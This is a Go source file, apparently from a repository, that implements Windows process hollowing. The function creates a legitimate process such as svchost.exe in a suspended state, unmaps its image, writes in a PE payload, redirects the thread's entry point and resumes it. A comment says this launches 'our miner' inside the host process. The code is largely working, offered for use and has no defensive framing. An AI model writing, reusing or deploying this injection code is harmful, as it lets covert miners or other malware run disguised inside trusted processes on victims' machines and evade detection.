Correct AI uptime/reinstall/sleep, broaden live stats over WebSocket, fix blueprint delete JSON, gate hollowing behind build tag, and stop stale server binds on restart.
175 lines
5.8 KiB
Go
175 lines
5.8 KiB
Go
//go:build windows && hollow
|
|
|
|
package deploy
|
|
|
|
import (
|
|
"encoding/binary"
|
|
"fmt"
|
|
"syscall"
|
|
"unsafe"
|
|
)
|
|
|
|
var (
|
|
kernel32 = syscall.NewLazyDLL("kernel32.dll")
|
|
ntdll = syscall.NewLazyDLL("ntdll.dll")
|
|
|
|
procCreateProcessW = kernel32.NewProc("CreateProcessW")
|
|
procVirtualAllocEx = kernel32.NewProc("VirtualAllocEx")
|
|
procReadProcessMemory = kernel32.NewProc("ReadProcessMemory")
|
|
procWriteProcessMemory = kernel32.NewProc("WriteProcessMemory")
|
|
procGetThreadContext = kernel32.NewProc("GetThreadContext")
|
|
procSetThreadContext = kernel32.NewProc("SetThreadContext")
|
|
procResumeThread = kernel32.NewProc("ResumeThread")
|
|
procNtUnmapViewOfSection = ntdll.NewProc("NtUnmapViewOfSection")
|
|
)
|
|
|
|
const (
|
|
CREATE_SUSPENDED = 0x00000004
|
|
MEM_COMMIT = 0x1000
|
|
MEM_RESERVE = 0x2000
|
|
PAGE_EXECUTE_READWRITE = 0x40
|
|
CONTEXT_FULL_AMD64 = 0x10000B
|
|
)
|
|
|
|
// RunHollowed injects a byte array (PE payload) into a suspended legitimate Windows process.
|
|
func RunHollowed(targetExe string, payload []byte) error {
|
|
// Parse payload PE headers dynamically
|
|
if len(payload) < 0x40 {
|
|
return fmt.Errorf("payload too small")
|
|
}
|
|
e_lfanew := binary.LittleEndian.Uint32(payload[0x3c:])
|
|
if int(e_lfanew)+24 > len(payload) {
|
|
return fmt.Errorf("invalid PE header offset")
|
|
}
|
|
|
|
ntHeader := payload[e_lfanew:]
|
|
if string(ntHeader[:4]) != "PE\x00\x00" {
|
|
return fmt.Errorf("invalid PE signature")
|
|
}
|
|
if binary.LittleEndian.Uint16(ntHeader[4:]) != 0x8664 {
|
|
return fmt.Errorf("payload must be 64-bit (x64) PE")
|
|
}
|
|
|
|
numSections := binary.LittleEndian.Uint16(ntHeader[6:])
|
|
sizeOfOptionalHeader := binary.LittleEndian.Uint16(ntHeader[20:])
|
|
optHeader := ntHeader[24:]
|
|
if binary.LittleEndian.Uint16(optHeader[0:]) != 0x020B {
|
|
return fmt.Errorf("payload must be PE32+")
|
|
}
|
|
|
|
entryPoint := binary.LittleEndian.Uint32(optHeader[16:])
|
|
imageBase := binary.LittleEndian.Uint64(optHeader[24:])
|
|
sizeOfImage := binary.LittleEndian.Uint32(optHeader[56:])
|
|
sizeOfHeaders := binary.LittleEndian.Uint32(optHeader[60:])
|
|
|
|
targetPtr, err := syscall.UTF16PtrFromString(targetExe)
|
|
if err != nil {
|
|
return err
|
|
}
|
|
|
|
si := new(syscall.StartupInfo)
|
|
si.Cb = uint32(unsafe.Sizeof(*si))
|
|
pi := new(syscall.ProcessInformation)
|
|
|
|
// 1. Create the target legitimate process (e.g. svchost.exe) in a suspended state
|
|
ret, _, err := procCreateProcessW.Call(
|
|
0,
|
|
uintptr(unsafe.Pointer(targetPtr)),
|
|
0, 0, 0,
|
|
uintptr(CREATE_SUSPENDED),
|
|
0, 0,
|
|
uintptr(unsafe.Pointer(si)),
|
|
uintptr(unsafe.Pointer(pi)),
|
|
)
|
|
if ret == 0 {
|
|
return fmt.Errorf("CreateProcessW failed: %v", err)
|
|
}
|
|
defer syscall.CloseHandle(pi.Process)
|
|
defer syscall.CloseHandle(pi.Thread)
|
|
|
|
// The following maps the exact structural steps needed for PE injection.
|
|
// Note: To make this fully functional, you need full PE offset math
|
|
// (e.g., extracting e_lfanew, SizeOfImage, ImageBase) from the payload slice.
|
|
|
|
// 2. Get Thread Context to locate the Process Environment Block (PEB)
|
|
// Allocate 16-byte aligned context buffer for x64
|
|
ctxBytes := make([]byte, 1232+16)
|
|
var ctxPtr uintptr
|
|
for i := 0; i < 16; i++ {
|
|
if uintptr(unsafe.Pointer(&ctxBytes[i]))%16 == 0 {
|
|
ctxPtr = uintptr(unsafe.Pointer(&ctxBytes[i]))
|
|
break
|
|
}
|
|
}
|
|
*(*uint32)(unsafe.Pointer(ctxPtr + 0x30)) = CONTEXT_FULL_AMD64 // ContextFlags
|
|
|
|
ret, _, err = procGetThreadContext.Call(uintptr(pi.Thread), ctxPtr)
|
|
if ret == 0 {
|
|
return fmt.Errorf("GetThreadContext failed: %v", err)
|
|
}
|
|
|
|
rdx := *(*uint64)(unsafe.Pointer(ctxPtr + 0x88)) // Rdx holds PEB address on x64
|
|
|
|
// 3. Read the PEB to find the original ImageBase
|
|
var origImageBase uint64
|
|
var bytesRW uintptr
|
|
procReadProcessMemory.Call(
|
|
uintptr(pi.Process),
|
|
uintptr(rdx+16), // PEB.ImageBaseAddress
|
|
uintptr(unsafe.Pointer(&origImageBase)),
|
|
8,
|
|
uintptr(unsafe.Pointer(&bytesRW)),
|
|
)
|
|
|
|
// 4. Unmap the original executable code from memory
|
|
if origImageBase != 0 {
|
|
procNtUnmapViewOfSection.Call(uintptr(pi.Process), uintptr(origImageBase))
|
|
}
|
|
|
|
// 5. Allocate new memory for our payload at the required ImageBase
|
|
newMem, _, _ := procVirtualAllocEx.Call(uintptr(pi.Process), uintptr(imageBase), uintptr(sizeOfImage), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
|
|
if newMem == 0 {
|
|
// Fallback allocation if preferred base is taken (Payload must support relocation)
|
|
newMem, _, err = procVirtualAllocEx.Call(uintptr(pi.Process), 0, uintptr(sizeOfImage), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
|
|
if newMem == 0 {
|
|
return fmt.Errorf("VirtualAllocEx failed: %v", err)
|
|
}
|
|
}
|
|
|
|
// 6. Write the PE headers and each PE section into the new memory allocation
|
|
procWriteProcessMemory.Call(uintptr(pi.Process), newMem, uintptr(unsafe.Pointer(&payload[0])), uintptr(sizeOfHeaders), uintptr(unsafe.Pointer(&bytesRW)))
|
|
|
|
sectionsStart := 24 + uint32(sizeOfOptionalHeader)
|
|
for i := uint16(0); i < numSections; i++ {
|
|
secHdr := ntHeader[sectionsStart+uint32(i)*40:]
|
|
virtAddr := binary.LittleEndian.Uint32(secHdr[12:])
|
|
sizeOfRawData := binary.LittleEndian.Uint32(secHdr[16:])
|
|
ptrToRawData := binary.LittleEndian.Uint32(secHdr[20:])
|
|
|
|
if sizeOfRawData > 0 {
|
|
procWriteProcessMemory.Call(
|
|
uintptr(pi.Process),
|
|
newMem+uintptr(virtAddr),
|
|
uintptr(unsafe.Pointer(&payload[ptrToRawData])),
|
|
uintptr(sizeOfRawData),
|
|
uintptr(unsafe.Pointer(&bytesRW)),
|
|
)
|
|
}
|
|
}
|
|
|
|
// Update the PEB with the new ImageBase
|
|
procWriteProcessMemory.Call(uintptr(pi.Process), uintptr(rdx+16), uintptr(unsafe.Pointer(&newMem)), 8, uintptr(unsafe.Pointer(&bytesRW)))
|
|
|
|
// 7. Update the Thread Context to point to our payload's Entry Point
|
|
*(*uint64)(unsafe.Pointer(ctxPtr + 0x80)) = uint64(newMem) + uint64(entryPoint) // Rcx holds entry point
|
|
procSetThreadContext.Call(uintptr(pi.Thread), ctxPtr)
|
|
|
|
// 8. Resume the hollowed thread, launching our miner inside the target shell
|
|
ret, _, err = procResumeThread.Call(uintptr(pi.Thread))
|
|
if ret == 0xFFFFFFFF {
|
|
return fmt.Errorf("ResumeThread failed: %v", err)
|
|
}
|
|
|
|
return nil
|
|
}
|